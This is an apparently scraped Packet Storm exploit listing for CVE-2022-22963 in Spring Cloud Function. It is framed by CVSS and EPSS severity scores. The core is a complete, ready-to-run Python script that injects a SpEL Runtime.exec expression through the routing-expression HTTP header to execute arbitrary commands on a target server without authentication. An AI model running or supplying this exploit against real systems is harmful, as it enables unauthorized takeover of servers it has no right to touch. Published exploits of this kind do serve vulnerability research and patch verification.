Lucene search

K
packetstormGatoGamer1155, 0bfxgh0stPACKETSTORM:173430
HistoryJul 12, 2023 - 12:00 a.m.

Spring Cloud 3.2.2 Remote Command Execution

2023-07-1200:00:00
GatoGamer1155, 0bfxgh0st
packetstormsecurity.com
175
exploit
rce
command execution
spring cloud
cve-2022-22963
security vulnerability
remote attack

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%

`# Exploit Title: Spring Cloud 3.2.2 - Remote Command Execution (RCE)  
# Date: 07/07/2023  
# Exploit Author: GatoGamer1155, 0bfxgh0st  
# Vendor Homepage: https://spring.io/projects/spring-cloud-function/  
# Description: Exploit to execute commands exploiting CVE-2022-22963  
# Software Link: https://spring.io/projects/spring-cloud-function  
# CVE: CVE-2022-22963  
  
import requests, argparse, json  
  
parser = argparse.ArgumentParser()  
parser.add_argument("--url", type=str, help="http://172.17.0.2:8080/functionRouter", required=True)  
parser.add_argument("--command", type=str, help="ping -c1 172.17.0.1", required=True)  
args = parser.parse_args()  
  
print("\n\033[0;37m[\033[0;33m!\033[0;37m] It is possible that the output of the injected command is not reflected in the response, to validate if the server is vulnerable run a ping or curl to the attacking host\n")  
  
headers = {"spring.cloud.function.routing-expression": 'T(java.lang.Runtime).getRuntime().exec("%s")' % args.command }  
data = {"data": ""}  
  
request = requests.post(args.url, data=data, headers=headers)  
response = json.dumps(json.loads(request.text), indent=2)  
print(response)  
  
  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%